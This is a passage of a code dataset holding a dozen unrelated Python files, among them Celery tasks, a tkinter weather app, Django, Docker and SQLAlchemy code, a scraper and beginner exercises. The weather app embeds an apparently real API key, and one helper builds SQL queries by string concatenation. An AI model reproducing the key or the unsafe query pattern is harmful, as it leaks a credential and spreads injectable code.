NewsItem.fetch_popular()\n\n Banner._cache_top_strip_ids()\n Banner.fetch_ids_for_last_days(site_config['auction_max_age_days'])\n\n sources = Source.list_of_all_source_id()\n for tags in [[t.id] for t in Tag.query.all()] + [[]]:\n for for_gallery in (False, True):\n logger.info(\"Caching for tags: %s\", tags)\n # Fetch for random item (to avoid duplication of code that\n # compose src_filters and filters)\n Banner.fetch_for_item_page(\n random_item.id, sources, tag_ids=tags, for_gallery=for_gallery)\n Banner.fetch_flow(\n random_item.id, sources, 1, tag_ids=tags, for_gallery=for_gallery)\n\n\n@celery.app.task\ndef update_caches_infrequent():\n with app.app_context():\n g.flask_cache_forced_update = True\n\n Item.get_all_titles_and_source_ids()\n Item.get_all_published_ids()\n\n NewsItem._cache_gallery_ids()\n Banner._get_ids_by_average_ctrs()\n\n for tags in [[t.id] for t in Tag.query.all()] + [[]]:\n logger.info('Caching _cache_gallery_ids for tag %s', tags)\n NewsItem._cache_article_ids(tags)\n\n@celery.app.task\ndef update_geoip_db():\n from .geo.geoip import (\n Geo, UpdateCSVDatabaseException, UpdateBinaryDatabaseException\n )\n try:\n Geo.update_db_csv()\n Geo.update_yaml()\n logger.info(\"Geolocation databases has been successfully updated\")\n except (UpdateCSVDatabaseException, UpdateBinaryDatabaseException) as e:\n logger.error(e.message)\n\n@celery.app.task(rate_limit=1)\ndef save_fast_tracker_data():\n with app.app_context():\n while True:\n data = redis.lpop(config.FAST_TRACKER_QUEUE_KEY)\n\n if data is None:\n break\n\n data = json.loads(data)\n print(data)\n\n def make_int_keys(data):\n return {int(k): v for k, v in data.items()}\n\n if data.get('BannerShows'):\n banner_stats.register_shown(make_int_keys(data['BannerShows']))\n\n if data.get('SourceShows'):\n source_stats.register_shown(make_int_keys(data['SourceShows']))\n\n if data.get('BannerVisits'):\n banner_stats.register_visit(\n make_int_keys(data['BannerVisits']))\n\n if data.get('GenerationVisits'):\n generation_stats.register_visit(\n amount=data['GenerationVisits'])\n\n if data.get('GenerationExtVisits'):\n generation_stats.register_ext_visit(\n amount=data['GenerationExtVisits'])\n\n if data.get('AuctionShows'):\n # статистику по баннерам и источникам здесь не обновляем,\n # т.к. данные по ней приходят отдельно в BannerStats и\n # SourceStats\n for from_id, shows in data['AuctionShows'].items():\n items = MultiDict([\n (int(banner_id), float(price))\n for banner_id, price in shows\n ])\n\n auction.register_shows(from_id, items)\n\n if data.get('LinesShows'):\n line_stats.register_shown(make_int_keys(data['LinesShows']))\n\n if data.get('ArticleVisits'):\n article_stats.register_visit(\n make_int_keys(data['ArticleVisits']))\n\n if data.get('ArticleShows'):\n article_stats.register_shown(\n make_int_keys(data['ArticleShows']))\n","sub_path":"wowengine/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":6562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"527625160","text":"import tkinter as tk\nfrom tkinter import font\nimport requests\n\nHEIGHT= 500\nWIDHT= 600\n\ndef test_function(entry):\n\tprint(f'This is the entry: {entry}')\n\n#api.openweathermap.org/data/2.5/forecast/hourly?q={city name},{country code}\n#f4e0dda2c6d5c1c5aae75f426f7abf43\n\ndef format_response(weather):\n\ttry:\n\t\tname = weather['name']\n\t\tdesc = weather['weather'][0]['description']\n\t\ttemp = weather['main']['temp']\n\n\t\tfinal_str= (f'City: {name}\\nConditions: {desc} \\nTemperature(F): {temp}')\n\texcept:\n\t\tfinal_str = 'There was a problem'\n\n\treturn final_str\n\ndef get_weather(city):\n\tweather_key = 'f4e0dda2c6d5c1c5aae75f426f7abf43'\n\turl ='https://api.openweathermap.org/data/2.5/weather'\n\tparams ={'APPID': weather_key,'q':city,'units':'Imperial'}\n\tresponse =requests.get(url, params=params)\n\tweather = response.json()\n\n\tlabel['text'] = format_response(weather)\n\n\nroot = tk.Tk()\n\n\ncanvas = tk.Canvas(root, height=HEIGHT, width=WIDHT)\ncanvas.pack()\n\n# background_image = tk.PhotoImage(file='weather.jpg')\n# background_label = tk.Label(root, image=background_image)\n# background_label.place(relwidth=1, relheight=1)\n\nframe = tk.Frame(root,bg='#3d525c',bd=4)\nframe.place(relx=0.5, rely=0.1, relwidth=0.75,relheight=0.1, anchor='n')\n\nentry =tk.Entry(frame, font=40)\nentry.place(relwidth=0.65, relheight=1)\n\nbutton =tk.Button(frame, text ='Get Weather', font=('Systems',14), command=lambda:get_weather(entry.get()),bg='#2487a8')\nbutton.place(relx=0.7, relwidth=0.3, relheight=1)\n\nlower_frame =tk.Frame(root, bg='#3d525c', bd=8)\nlower_frame.place(relx=0.5, rely=0.25, relwidth=0.75, relheight=0.6, anchor='n')\n\n\nlabel= tk.Label(lower_frame,font=('Systems',14))\nlabel.place(relwidth=1, relheight=1)\n\n# print(tk.font.families())\n\nroot.mainloop()\n","sub_path":"WeatherApp.py","file_name":"WeatherApp.py","file_ext":"py","file_size_in_byte":1726,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"591082265","text":"# pylint: disable=W0401,W0614\nfrom dev_settings import *\nimport os\n\nDATABASES['default']['ENGINE'] = 'django.db.backends.sqlite3'\nDATABASES['default']['NAME'] = os.path.join(OUT_DIR, 'test.db')\nSECRET_KEY = 'testsecretkeyshouldntbeusedinproduction'\n\nINSTALLED_APPS = INSTALLED_APPS + ('django_nose',)\nTEST_RUNNER = 'django_nose.NoseTestSuiteRunner'\n","sub_path":"etc/templates/test_settings.py","file_name":"test_settings.py","file_ext":"py","file_size_in_byte":349,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"32351267","text":"# Copyright 2013 Evan Hazlett and contributors.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\nfrom django.db import models\nfrom docker import client\nfrom django.conf import settings\nfrom docker import client\nfrom django.core.cache import cache\n\nHOST_CACHE_TTL = getattr(settings, 'HOST_CACHE_TTL', 15)\nCONTAINER_KEY = '{0}:containers'\nIMAGE_KEY = '{0}:images'\n\nclass Host(models.Model):\n name = models.CharField(max_length=64, null=True, blank=True,\n unique=True)\n hostname = models.CharField(max_length=128, null=True, blank=True,\n unique=True)\n port = models.SmallIntegerField(null=True, blank=True, default=4243)\n enabled = models.NullBooleanField(null=True, default=True)\n\n def __unicode__(self):\n return self.name\n\n def _get_client(self):\n url ='{0}:{1}'.format(self.hostname, self.port)\n if not url.startswith('http'):\n url = 'http://{0}'.format(url)\n return client.Client(url)\n\n def _invalidate_container_cache(self):\n # invalidate cache\n cache.delete(CONTAINER_KEY.format(self.name))\n\n def _invalidate_image_cache(self):\n # invalidate cache\n cache.delete(IMAGE_KEY.format(self.name))\n\n def invalidate_cache(self):\n self._invalidate_container_cache()\n self._invalidate_image_cache()\n\n def get_containers(self, show_all=False):\n c = client.Client(base_url='http://{0}:{1}'.format(self.hostname,\n self.port))\n key = CONTAINER_KEY.format(self.name)\n containers = cache.get(key)\n if containers is None:\n containers = c.containers(all=show_all)\n cache.set(key, containers, HOST_CACHE_TTL)\n return containers\n\n def get_images(self, show_all=False):\n c = client.Client(base_url='http://{0}:{1}'.format(self.hostname,\n self.port))\n key = IMAGE_KEY.format(self.name)\n images = cache.get(key)\n if images is None:\n images = c.images(all=show_all)\n cache.set(key, images, HOST_CACHE_TTL)\n return images\n\n def create_container(self, image=None, command=None, ports=[],\n environment=[]):\n c = self._get_client()\n cnt = c.create_container(image, command, detach=True, ports=ports,\n environment=environment)\n c.start(cnt.get('Id'))\n self._invalidate_container_cache()\n\n def restart_container(self, container_id=None):\n c = self._get_client()\n c.restart(container_id)\n self._invalidate_container_cache()\n\n def stop_container(self, container_id=None):\n c = self._get_client()\n c.stop(container_id)\n self._invalidate_container_cache()\n\n def destroy_container(self, container_id=None):\n c = self._get_client()\n c.remove_container(container_id)\n self._invalidate_container_cache()\n\n def import_image(self, repository=None):\n c = self._get_client()\n c.pull(repository)\n self._invalidate_image_cache()\n","sub_path":"containers/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"571853149","text":"# RedisEdge realtime video analytics video capture script\nimport argparse\nimport cv2\nimport redis\nfrom urllib.parse import urlparse\n\nMAX_DIM = 640\nclass Webcam:\n def __init__(self, infile=0, fps=30.0):\n self.infile = infile\n self.cam = cv2.VideoCapture(self.infile)\n self.cam.set(cv2.CAP_PROP_FPS, fps)\n self.cam.set(cv2.CAP_PROP_FRAME_WIDTH, 800)\n self.cam.set(cv2.CAP_PROP_FRAME_HEIGHT, 600)\n\n def __iter__(self):\n self.count = -1\n return self\n\n def __next__(self):\n self.count += 1\n\n # Read image\n ret_val, img0 = self.cam.read()\n if not ret_val: # Try to stupidly loop over video files\n self.cam = cv2.VideoCapture(self.infile)\n ret_val, img0 = self.cam.read()\n assert ret_val, 'Webcam Error'\n\n # Preprocess\n img = img0\n # img = cv2.flip(img, 1)\n\n return self.count, img\n\n def __len__(self):\n return 0\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('infile', help='Input file (leave empty to use webcam)', nargs='?', type=str, default=None)\n parser.add_argument('-o', '--output', help='Output stream key name', type=str, default='camera:0')\n parser.add_argument('-u', '--url', help='Redis URL', type=str, default='redis://127.0.0.1:6379')\n parser.add_argument('-w', '--webcam', help='Webcam device number', type=int, default=0)\n parser.add_argument('-v', '--verbose', help='Verbose output', type=bool, default=False)\n parser.add_argument('--fmt', help='Frame storage format', type=str, default='.jpg')\n parser.add_argument('--fps', help='Frames per second (webcam)', type=float, default=15.0)\n parser.add_argument('--maxlen', help='Maximum length of output stream', type=int, default=10000)\n args = parser.parse_args()\n\n # Set up Redis connection\n url = urlparse(args.url)\n conn = redis.Redis(host=url.hostname, port=url.port)\n if not conn.ping():\n raise Exception('Redis unavailable')\n\n # Choose video source\n if args.infile is None:\n loader = Webcam(infile=args.webcam, fps=args.fps) # Default to webcam\n else:\n loader = Webcam(infile=args.infile, fps=args.fps) # Unless an input file (image or video) was specified\n\n for (count, img) in loader:\n _, data = cv2.imencode(args.fmt, img)\n msg = {\n 'count': count,\n 'image': data.tobytes()\n }\n _id = conn.xadd(args.output, msg, maxlen=args.maxlen)\n if args.verbose:\n print('frame: {} id: {}'.format(count, _id))\n","sub_path":"app/capture.py","file_name":"capture.py","file_ext":"py","file_size_in_byte":2599,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"408910786","text":"# -*- coding: utf-8 -*-\nfrom sqlalchemy import Column, DateTime, String, Integer, ForeignKey, Boolean, BigInteger, Table\nfrom sqlalchemy.orm import relationship, backref\nfrom sqlalchemy.ext.declarative import declarative_base\n\nBase = declarative_base()\n\n\nclass Configuration(Base):\n __tablename__ = \"configuration\"\n id = Column(Integer, primary_key=True)\n key = Column(String(128))\n value = Column(String(128))\n\n\nclass HashTags(Base):\n __tablename__ = \"HashTags\"\n hashtag_id = Column(Integer, primary_key=True)\n name = Column(String(200), index=True)\n priority = Column(Integer, default=0)\n monitor = Column(Boolean, default=False)\n\n\nclass TrackTerms(Base):\n __tablename__ = \"TrackTerms\"\n track_id = Column(Integer, primary_key=True)\n name = Column(String(200), index=True)\n active = Column(Boolean)\n\n\nclass Sales(Base):\n __tablename__ = \"Sales\"\n sales_id = Column(Integer, primary_key=True)\n name = Column(String(256))\n email = Column(String(225), index=True, unique=True)\n\n def is_authenticated(self):\n return True\n\n def is_anonymouse(self):\n return False\n\n def is_active(self):\n return True\n\n def get_id(self):\n return self.sales_id\n\n def __repr__(self):\n return '' % (self.name)\n\n\nclass TimeZones(Base):\n __tablename__ = \"TimeZones\"\n time_zone_id = Column(Integer, primary_key=True)\n name = Column(String(128), default=\"Unknown\")\n offset = Column(Integer)\n\nAuthorTweets = Table(\n 'AuthorTweets',\n Base.metadata,\n Column(\n 'tweet_id',\n BigInteger,\n ForeignKey(\"Tweets.tweet_id\")),\n Column(\n 'user_id',\n BigInteger,\n ForeignKey(\"Authors.user_id\")))\n\n\nclass Authors(Base):\n __tablename__ = \"Authors\"\n user_id = Column(BigInteger, primary_key=True)\n name = Column(String(512), index=True)\n img = Column(String(1024))\n location = Column(String(512), index=True)\n time_zone = Column(Integer, ForeignKey(\"TimeZones.time_zone_id\"))\n description = Column(String(4096))\n assigned_to = Column(Integer, ForeignKey(\"Sales.sales_id\"), default=None)\n contacted = Column(Boolean)\n ignore = Column(Boolean)\n salesforce_id = Column(Integer, index=True)\n tweets = relationship('Tweets', secondary=AuthorTweets)\n\n\nTweetTags = Table(\n 'TweetTags',\n Base.metadata,\n Column(\n 'tweet_id',\n BigInteger,\n ForeignKey(\"Tweets.tweet_id\")),\n Column(\n 'hashtag_id',\n Integer,\n ForeignKey(\"HashTags.hashtag_id\")))\n\n\nclass Tweets(Base):\n __tablename__ = \"Tweets\"\n tweet_id = Column(BigInteger, primary_key=True)\n user_id = Column(BigInteger, ForeignKey(\"Authors.user_id\"))\n tweet = Column(String(140))\n time = Column(DateTime)\n echoed = Column(Boolean, index=True)\n hashtags = relationship('HashTags', secondary=TweetTags)\n","sub_path":"RJProject/db/tables.py","file_name":"tables.py","file_ext":"py","file_size_in_byte":2881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"407341931","text":"# Import datasets, classifiers and performance metrics\nfrom sklearn import datasets, svm, metrics\nfrom sklearn.model_selection import train_test_split\n\ndigits = datasets.load_digits()\n\n# flatten the images\nn_samples = len(digits.images)\ndata = digits.images.reshape((n_samples, -1))\n\n# Create a classifier: a support vector classifier\nclf = svm.SVC(gamma=0.001)\n\n# Split data into 50% train and 50% test subsets\nX_train, X_test, y_train, y_test = train_test_split(\n data, digits.target, test_size=0.5, shuffle=False)\n\n# Learn the digits on the train subset\nclf.fit(X_train, y_train)\n\n# Predict the value of the digit on the test subset\npredicted = clf.predict(X_test)\n\nprint(f\"Classification report for classifier {clf}:\\n\"\n f\"{metrics.classification_report(y_test, predicted)}\\n\")","sub_path":"ml/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"600474746","text":"import logging\nimport psycopg2\nimport datetime\n\nfrom socorro.external.postgresql.base import PostgreSQLBase\nfrom socorro.external.postgresql.util import Util\nfrom socorro.lib import search_common, util\n\nimport socorro.database.database as db\n\nlogger = logging.getLogger(\"webapi\")\n\n\nclass Crashes(PostgreSQLBase):\n\n \"\"\"\n Implement the /crashes service with PostgreSQL.\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(Crashes, self).__init__(*args, **kwargs)\n\n def prepare_search_params(self, **kwargs):\n \"\"\"Return a dictionary of parameters for a search-like SQL query.\n\n Uses socorro.lib.search_common.get_parameters() for arguments\n filtering.\n \"\"\"\n params = search_common.get_parameters(kwargs)\n\n if params[\"signature\"] is None:\n return None\n\n params[\"terms\"] = params[\"signature\"]\n params[\"search_mode\"] = \"is_exactly\"\n\n # Default mode falls back to starts_with for postgres\n if params[\"plugin_search_mode\"] == \"default\":\n params[\"plugin_search_mode\"] = \"starts_with\"\n\n # Searching for terms in plugins\n if params[\"report_process\"] == \"plugin\" and params[\"plugin_terms\"]:\n params[\"plugin_terms\"] = \" \".join(params[\"plugin_terms\"])\n params[\"plugin_terms\"] = Crashes.prepare_terms(\n params[\"plugin_terms\"],\n params[\"plugin_search_mode\"])\n\n # Get information about the versions\n util_service = Util(config=self.context)\n params[\"versions_info\"] = util_service.versions_info(**params)\n\n # Parsing the versions\n params[\"versions_string\"] = params[\"versions\"]\n (params[\"versions\"], params[\"products\"]) = Crashes.parse_versions(\n params[\"versions\"],\n params[\"products\"])\n\n # Changing the OS ids to OS names\n for i, elem in enumerate(params[\"os\"]):\n for platform in self.context.platforms:\n if platform[\"id\"] == elem:\n params[\"os\"][i] = platform[\"name\"]\n\n return params\n\n def get_comments(self, **kwargs):\n \"\"\"Return a list of comments on crash reports, filtered by\n signatures and other fields.\n\n See socorro.lib.search_common.get_parameters() for all filters.\n \"\"\"\n # Creating the connection to the DB\n self.connection = self.database.connection()\n cur = self.connection.cursor()\n\n params = self.prepare_search_params(**kwargs)\n if params is None:\n return None\n\n # Creating the parameters for the sql query\n sql_params = {}\n\n # Preparing the different parts of the sql query\n\n # WARNING: sensitive data is returned here (email). When there is\n # an authentication mecanism, a verification should be done here.\n sql_select = \"\"\"\n SELECT\n r.date_processed,\n r.user_comments,\n r.uuid,\n CASE\n WHEN r.email = '' THEN null\n WHEN r.email IS NULL THEN null\n ELSE r.email\n END\n \"\"\"\n\n sql_from = self.build_reports_sql_from(params)\n\n (sql_where, sql_params) = self.build_reports_sql_where(params,\n sql_params,\n self.context)\n sql_where = \"%s AND r.user_comments IS NOT NULL\" % sql_where\n\n sql_order = \"ORDER BY email ASC, r.date_processed ASC\"\n\n # Assembling the query\n sql_query = \" \".join((\n \"/* external.postgresql.crashes.Crashes.get_comments */\",\n sql_select, sql_from, sql_where, sql_order))\n\n # Query for counting the results\n sql_count_query = \" \".join((\n \"/* external.postgresql.crashes.Crashes.get_comments */\",\n \"SELECT count(*)\", sql_from, sql_where))\n\n # Debug\n logger.debug(sql_count_query)\n logger.debug(cur.mogrify(sql_count_query, sql_params))\n\n # Querying the DB\n try:\n total = db.singleValueSql(cur, sql_count_query, sql_params)\n except db.SQLDidNotReturnSingleValue:\n total = 0\n util.reportExceptionAndContinue(logger)\n\n results = []\n\n # No need to call Postgres if we know there will be no results\n if total != 0:\n try:\n results = db.execute(cur, sql_query, sql_params)\n except psycopg2.Error:\n util.reportExceptionAndContinue(logger)\n\n json_result = {\n \"total\": total,\n \"hits\": []\n }\n\n # Transforming the results into what we want\n for crash in results:\n row = dict(zip((\n \"date_processed\",\n \"user_comments\",\n \"uuid\",\n \"email\"), crash))\n for i in row:\n if isinstance(row[i], datetime.datetime):\n row[i] = str(row[i])\n json_result[\"hits\"].append(row)\n\n self.connection.close()\n\n return json_result\n","sub_path":"socorro/external/postgresql/crashes.py","file_name":"crashes.py","file_ext":"py","file_size_in_byte":5355,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"337276259","text":"import emspy\n\nimport pandas as pd\nimport numpy as np\nimport os, sys, re, sqlite3\n\n\nclass LocalData:\n\ttable_info = {\n\t\t\"fieldtree\": [\"ems_id\", \"db_id\", \"id\", \"nodetype\", \"type\", \"name\", \"parent_id\" ],\n\t\t\"dbtree\" : [\"ems_id\", \"id\", \"nodetype\", \"name\", \"parent_id\"],\n\t \"kvmaps\" : [\"ems_id\", \"id\", \"key\", \"value\"],\n\t \"params\" : [\"ems_id\", \"id\", \"name\", \"description\", \"units\"]\n\t }\n\n\n\tdef __init__(self, dbfile = None):\n\n\t\tif dbfile is None:\n\t\t\tdbfile = os.path.join(emspy.__path__[0], \"data\",\"emsMetaData.db\")\n\t\tdbfile = os.path.abspath(dbfile)\n\t\tself.__dbfile = dbfile\n\t\tself.__connect()\n\n\t\n\tdef __del__(self):\n\n\t\tself.close()\n\n\n\tdef __connect(self):\n\n\t\tself._conn = sqlite3.connect(self.__dbfile)\n\n\n\tdef __check_colnames(self, table_name, df):\n\n\t\tcolnames = np.array(LocalData.table_info[table_name])\n\t\tchk_cols = np.array([c in df.columns for c in colnames])\n\t\tmissing = colnames[~chk_cols]\n\t\tif any(~chk_cols):\n\t\t\tsys.exit(\"Data misses the following columns that are required: %s\" % missing)\n\n\n\tdef close(self):\n\n\t\tself._conn.close()\n\n\n\tdef append_data(self, table_name, df):\n\t\t\n\t\tself.__check_colnames(table_name, df)\n\t\tdf.to_sql(table_name, self._conn, index=False, if_exists=\"append\")\n\t\n\n\n\tdef get_data(self, table_name, condition = None):\n\n\t\tif self.table_exists(table_name):\n\t\t\tq = \"SELECT * FROM %s\" % table_name\n\t\t\tif condition is not None:\n\t\t\t\tq = q + \" WHERE %s\" % condition\n\t\t\tq = q + \";\"\n\t\t\tdf = pd.read_sql_query(q, self._conn)\n\n\t\t\t# Strange columns appear. Get only the actual columns\n\t\t\treturn df[LocalData.table_info[table_name]]\t\t\n\t\treturn pd.DataFrame(columns = LocalData.table_info[table_name])\n\t\t\n\n\n\tdef delete_data(self, table_name, condition = None):\n\n\t\tif self.table_exists(table_name):\n\t\t\tif condition is None:\n\t\t\t\tself._conn.execute(\"DROP TABLE %s\" % table_name)\n\t\t\telse:\n\t\t\t\tself._conn.execute(\"DELETE FROM %s WHERE %s;\" % (table_name, condition))\n\t\t\tself._conn.commit()\n\n\n\tdef delete_all_tables(self):\n\n\t\tfor table_name in LocalData.table_info.keys():\n\t\t\tif table_exists(table_name):\n\t\t\t\tself._conn.execute(\"DROP TABLE %s\" % table_name)\n\t\tself._conn.commit()\n\n\n\tdef table_exists(self, table_name):\n\n\t\tcursor = self._conn.cursor()\n\t\tcursor.execute(\"SELECT name FROM sqlite_master WHERE type='table' ORDER BY name\")\n\t\ttables = map(lambda t: t[0], cursor.fetchall())\n\t\treturn table_name in tables\n\n\n\tdef file_loc(self):\n\n\t\treturn self.__dbfile\n","sub_path":"query/localdata.py","file_name":"localdata.py","file_ext":"py","file_size_in_byte":2385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"479401847","text":"import requests\nfrom BeautifulSoup import BeautifulSoup\n\nclass TimesExtractor:\n\tdef __init__(self, url):\n\t\tself.url = url \n\n\tdef fetch_text(self):\n\t\ttexted = []\n\t\turl = self.url + \"?tabtype=trivia\"\n\t\thtml = requests.get(url)\n\t\tsource = html.text\n\t\tsoup = BeautifulSoup(source)\n\t\taaa = soup.findAll('span', {'class':'righttrivia'})\n\t\tfor i in aaa:\n\t\t\ttexted.append(i.text.strip())\n\t\treturn texted\n\n\tdef get_boxoffice(self):\n\t\turl = self.url + '?tabtype=box'\n\t\thtml = requests.get(url)\n\t\tsource = html.text\n\t\tsoup = BeautifulSoup(source)\n\t\taa = soup.findAll('tr')\n\t\tjson1 = []\n\t\tfor x in aa:\n\t\t\tjson = []\n\t\t\ttwos = x.findAll('td')\n\t\t\tif 'Day' in twos[0].text:\n\t\t\t\tjson.append(twos[0].text)\n\t\t\t\tjson.append(twos[1].text.replace(\"nett\",\"\"))\n\t\t\t\tjson1.append(json)\n\t\t\telif 'Total' in twos[0].text:\n\t\t\t\tjson.append(twos[0].text)\n\t\t\t\tjson.append(twos[1].text.replace(\"nett\",\"\"))\n\t\t\t\tjson1.append(json)\n\t\treturn json1\n\n\tdef getgaana(self):\n\t\thtml = requests.get(self.url)\n\t\tsource = html.text\n\t\tsoup = BeautifulSoup(source)\n\t\talik = soup.find('a', {'class' : 'gaanabtn'})\n\t\t# print soup\n\t\t# print alik\n\t\tif alik:\n\t\t\tlink = alik['href'].split(\"?ref=\")[0] + \"?ref=sociofuzz\"\n\t\telse:\n\t\t\tlink = None \n\t\treturn link\n\n\tdef get_data(self):\n\t\tres = {}\n\t\tbox = self.get_boxoffice()\n\t\tres['box'] = box\n\t\ttrivias = self.fetch_text()\n\t\tres['trivias'] = trivias\n\t\tres['gaana'] = self.getgaana()\n\t\treturn res","sub_path":"BackEnd/DataExtractor/TimesExtractor.py","file_name":"TimesExtractor.py","file_ext":"py","file_size_in_byte":1386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"636496985","text":"def ejercicio1(a):\n dinero={'Euro':'€', 'Dollar':'$', 'Yen':'¥'}\n print(dinero.get(a,\"No existe\"))\n\ndef ejercicio2(a,b,c,d):\n diccionario={\"Nombre\": a,\"Edad\": b , \"Direccion\":c,\"telefono\":d}\n print(diccionario[\"Nombre\"],\" tiene \",diccionario[\"Edad\"],\" y vive en \",diccionario[\"Direccion\"],\" y con telefono \",diccionario[\"telefono\"])\n\ndef ejercicio3(b,**a):\n kilos=int(input(\"Ingrese numero de kilos \"))\n if b in a:\n print(\"Pidio \",kilos,\" kilos de\",b ,\" con un total de \",a[b]*kilos)\n else:\n print(\"No existe\")\n \ndef ejercicio4():\n d={1:'enero', 2 :'febrero', 3:'marzo', 4:'abril', 5:'mayo', 6:'junio', 7:'julio', 8:'agosto', 9:'septiembre', 10:'octubre', 11:'noviembre', 12:'diciembre'}\n date = input('Introduce una fecha en formato dd/mm/aaaa: ')\n date = date.split('/')\n print(date[0],date[1],date[2])\n print(date[0],\" de \",d[int(date[1])],\" del \", date[2])\n\ndef ejercicio5():\n d={'Matemáticas': 6 , 'Física' : 4 , 'Química' : 5} \n credito=0\n for i,j in d.items():\n print(\"Curso: \",i,\"Promedio: \",j)\n credito+=j\n print(\"Promedio Final: \",credito)\n \ndef ejercicio6():\n directorio={}\n condicion=\"Si\"\n while condicion==\"Si\":\n valor1=input(\"INGRESE PALABRA \")\n valor2=input(valor1+\": \")\n directorio[valor1]=valor2\n condicion=input(\"Ingrese si desea seguir agregando \")\n print(directorio)\n \ndef ejercicio7():\n directorio={}\n condicion=\"Si\"\n while condicion==\"Si\":\n valor1=input(\"Ingrese viveres :\")\n valor2=input(valor1+\":\")\n directorio[valor1]=valor2\n condicion=input(\"Desea seguir agregando Si/No \")\n print(\"Lista de compras\")\n suma=0\n for i,j in directorio.items():\n print(i,j)\n suma+=float(j)\n print(\"La suma todal es de \" ,suma)\n \ndef ejercicio8():\n directorio={}\n condicion=\"Si\"\n while condicion==\"Si\":\n valor1=input(\"Ingrese palabra y traduccion :\")\n valor2=input(valor1+\":\")\n directorio[valor1]=valor2\n condicion=input(\"Desea seguir agregando Si/No \")\n print(\"Palabras en ingles\")\n frase=input()\n \n for i in frase.split():\n if i in directorio:\n print(directorio[i],end=\"\")\n else:\n print(i)\n\ndef ejercicio9():\n pagado=0\n deuda=0 \n numero=\"P\"\n directorio={}\n while numero!=\"T\":\n numero=input(\"¿Quieres añadir una nueva factura (A), pagarla (P) o terminar (T)?\")\n if numero==\"A\":\n print(\"Usted eligio nueva factura\")\n num=input(\"Ingrese numero de orden: \")\n factura=input(num+\": \")\n directorio[num]=factura\n #for i,j in directorio.items():\n # print(i,j)\n # deuda+=float(j)\n deuda=int(deuda)+int(factura)\n print(\"La suma de las deudas es: \",deuda)\n print(\"Lo que ha pagado\",pagado)\n elif numero==\"P\":\n print(directorio)\n orden=str(input(\"Ingrese el numero de factura que desea pagar\"))\n tmp=0\n \n for i,j in directorio.items():\n if i==orden:\n tmp=j\n directorio.pop(orden)\n print(directorio)\n pagado=pagado+int(tmp)\n deuda=deuda-int(tmp)\n print(\"La suma de las deudas es: \",deuda)\n print(\"Lo que ha pagado\",pagado)\n elif numero==\"T\":\n print(\"T\")\n else:\n print(\"Introduzca una letra valida\")\n \ndef ejercicio10():\n clients = {}\n option = ''\n while option != '6':\n if option == '1':\n nif = input('Introduce NIF del cliente: ')\n name = input('Introduce el nombre del cliente: ')\n address = input('Introduce la dirección del cliente: ')\n phone = input('Introduce el teléfono del cliente: ')\n email = input('Introduce el correo electrónico del cliente: ')\n vip = input('¿Es un cliente preferente (S/N)? ')\n client = {'nombre':name, 'dirección':address, 'teléfono':phone, 'email':email, 'preferente':vip=='S'}\n clients[nif] = client\n if option == '2':\n nif = input('Introduce NIF del cliente: ')\n if nif in clients:\n del clients[nif]\n else:\n print('No existe el cliente con el nif', nif)\n if option == '3':\n nif = input('Introduce NIF del cliente: ')\n if nif in clients:\n print('NIF:', nif)\n for key, value in clients[nif].items():\n print(key.title() + ':', value)\n else:\n print('No existe el cliente con el nif', nif)\n if option == '4':\n print('Lista de clientes')\n for key, value in clients.items():\n print(key, value['nombre'])\n if option == '5':\n print('Lista de clientes preferentes')\n for key, value in clients.items():\n if value['preferente']:\n print(key, value['nombre'])\n option = input('Menú de opciones\\n(1) Añadir cliente\\n(2) Eliminar cliente\\n(3) Mostrar cliente\\n(4) Listar clientes\\n(5) Listar clientes preferentes\\n(6) Terminar\\nElige una opción:')\n\n\n#ejercicio1(\"Nuevo sol peruano\")\n#ejercicio1(\"Yen\")\n#ejercicio1(\"Euro\") \n#ejercicio2(\"Rodrigo\",19,\"Av.Venezuela\",924872395)\n#ejercicio3( \"Pera\",Plátano=1.35, Manzana=0.8, Pera=0.85, Naranja=0.7 )\n#ejercicio4() \n#ejercicio5()\n#ejercicio6()\n#ejercicio7()\n#ejercicio8()\n#ejercicio9()\nejercicio10()","sub_path":"python/ejercicios15/main2.py","file_name":"main2.py","file_ext":"py","file_size_in_byte":5607,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"596706094","text":"import pickle\n\nwith open('names', 'rb') as f:\n names = pickle.load(f)\nwith open('phones', 'rb') as f:\n phones = pickle.load(f)\n\ndef save():\n with open('names', 'wb') as f:\n pickle.dump(names, f)\n with open('phones', 'wb') as g:\n pickle.dump(phones, g)\n\nexit = \"\"\nwhile exit != \"E\" and exit != \"Exit\":\n\n print()\n msg1 = \"Type 'S' to Search a contact\"\n msg2 = \"Type 'A' to Add a contact\"\n msg3 = \"Type 'D' to Delete a contact\"\n msg4 = \"Type 'P' to Print the Phone Book\"\n msg5 = \" OR\"\n\n print(msg1 + \"\\n\" + msg5 + \"\\n\" + msg2 + \"\\n\" + msg5 + \"\\n\" + msg3 + \"\\n\" + msg5 + 